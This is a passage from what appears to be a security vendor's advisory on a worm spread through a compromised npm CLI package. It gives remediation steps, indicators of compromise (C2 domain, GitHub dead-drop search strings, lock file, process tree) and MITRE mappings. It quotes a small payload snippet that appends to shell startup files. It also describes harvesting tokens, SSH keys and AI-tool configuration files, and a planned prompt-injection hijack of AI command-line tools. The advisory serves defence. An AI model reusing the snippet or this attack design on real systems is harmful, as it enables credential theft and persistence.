If any AI CLI is confirmed connected, the payload appends the Butlerian Jihad manifesto to ~/.bashrc and ~/.zshrc as a gzipped base64 blob. It prints on every new shell the victim opens.

fs.appendFileSync(rcFile, `\necho << 'EOF'\n${T$}\nEOF\n`);
fs.appendFileSync(rcFile, `\necho << 'EOF'\n${T$}\nEOF\n`);
fs.appendFileSync(rcFile, `\necho << 'EOF'\n${T$}\nEOF\n`);

The adversarial prompt injection capability is built but not yet activated. A debug log in the AI hijacking class reads "Would be executing butlerian jihad!". The "would be" phrasing is deliberate. This is planned, not deployed.

What Should You Do

Check your dependency tree. If @bitwarden/cli appears anywhere across your projects, CI pipelines, or developer machines, treat the environment as compromised. Remove the package and rebuild.

Hunt for the lock file. Check all potentially affected hosts for /tmp/tmp.987654321.lock. Its presence confirms the payload executed. A detached bun process with __DAEMONIZED=1 in its environment and no controlling terminal is a strong secondary indicator.

Check your shell startup files. Look for the manifesto payload appended to ~/.bashrc and ~/.zshrc. If present, the machine was reached by Stage 6. Remove the appended block.

Rotate everything the affected process could touch. Assume the following are compromised and rotate immediately:

  • GitHub tokens, PATs, and GitHub App credentials

  • npm publish tokens. Revoke and re-issue with minimal scope.

  • AWS, GCP, and Azure credentials

  • SSH keys present on the affected machine

  • Any secrets in environment variables or .env files

  • Claude and Kiro MCP configuration files (~/.claude.json, ~/.claude/mcp.json, ~/.kiro/settings/mcp.json)

Audit your npm publish history. If the affected machine had a valid npm token with bypass_2fa and package:write, check every package you maintain for unexpected patch version bumps. The worm publishes under your identity. Your downstream users are at risk.

Check for unauthorised GitHub repositories. Search your account and organisations for repositories with the description "Shai-Hulud: The Third Coming" or names matching the {word}-{word}-{digits} pattern. Delete any found, but treat their existence as confirmation of successful exfiltration.

Block the C2 domain. Add audit.checkmarx.cx to your blocklist and hunt historical network logs for outbound connections to it on port 443 at the path /v1/telemetry.

Indicators of Compromise

Network

Indicator

Notes

audit.checkmarx.cx:443/v1/telemetry

Primary C2. Impersonates Checkmarx.

api.github.com/search/commits?q=LongLiveTheResistanceAgainstMachines

Tier 2 C2 dead drop. Public, unauthenticated.

api.github.com/search/commits?q=beautifulcastle

Tier 1 fallback dead drop. RSA-signed.

github.com/oven-sh/bun/releases/download/bun-v1.3.13/

Dropper runtime download.

registry.npmjs.org/-/npm/v1/tokens

npm token validation during worm stage.

registry.npmjs.org/-/whoami

npm token validation during worm stage.

Filesystem

Path

Description

/tmp/tmp.987654321.lock

Singleton PID lock file. Presence confirms payload executed.

~/.bashrc, ~/.zshrc

Appended with manifesto blob if AI CLI detected.

/tmp/bun

Bun runtime binary dropped by bw_setup.js.

Environment

Variable

Value

Meaning

__DAEMONIZED

1

Set in the detached child process. Visible in /proc/*/environ.

GitHub

Any repository in your account or organisations with the description "Shai-Hulud: The Third Coming".

Any commit message matching:

LongLiveTheResistanceAgainstMachines:<base64string>
beautifulcastle <base64>.<base64>
LongLiveTheResistanceAgainstMachines:<base64string>
beautifulcastle <base64>.<base64>
LongLiveTheResistanceAgainstMachines:<base64string>
beautifulcastle <base64>.<base64>

npm

Any package with "preinstall": "node setup.mjs" in scripts and a setup.mjs file in the package root should be treated as compromised.

Process Tree

node bw_setup.js
  └─ bun bw1.js            (PPID = installer shell)
       └─ bun bw1.js       (detached, __DAEMONIZED=1, PPID=1)
node bw_setup.js
  └─ bun bw1.js            (PPID = installer shell)
       └─ bun bw1.js       (detached, __DAEMONIZED=1, PPID=1)
node bw_setup.js
  └─ bun bw1.js            (PPID = installer shell)
       └─ bun bw1.js       (detached, __DAEMONIZED=1, PPID=1)

MITRE ATT&CK

ID

Technique

T1195.001

Supply Chain Compromise: Compromise Software Supply Chain

T1059.007

Command and Scripting Interpreter: JavaScript

T1027

Obfuscated Files or Information

T1027.010

Obfuscated Files or Information: Command Obfuscation

T1036.005

Masquerading: Match Legitimate Name or Location

T1082

System Information Discovery

T1083

File and Directory Discovery

T1552.001

Unsecured Credentials: Credentials in Files

T1552.007

Unsecured Credentials: Container API

T1560

Archive Collected Data

T1041

Exfiltration Over C2 Channel

T1567.001

Exfiltration Over Web Service: Exfiltration to Code Repository

T1543

Create or Modify System Process

T1071.001

Application Layer Protocol: Web Protocols

A Note from Ossprey

TeamPCP has now compromised Trivy, KICS, LiteLLM, Telnyx, and the Bitwarden CLI in the span of two months. Each time the playbook is the same: find a trusted tool, compromise its distribution, harvest credentials at scale, and use those credentials to reach the next target. The self-propagating worm means the blast radius extends well beyond the initial infection.

Ossprey detected this package on behavioural signals at publish time with active scanning. If you want to understand your exposure to this campaign or where your supply chain security posture has gaps, reach out at ossprey.com.

SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.

© 2026. All rights reserved.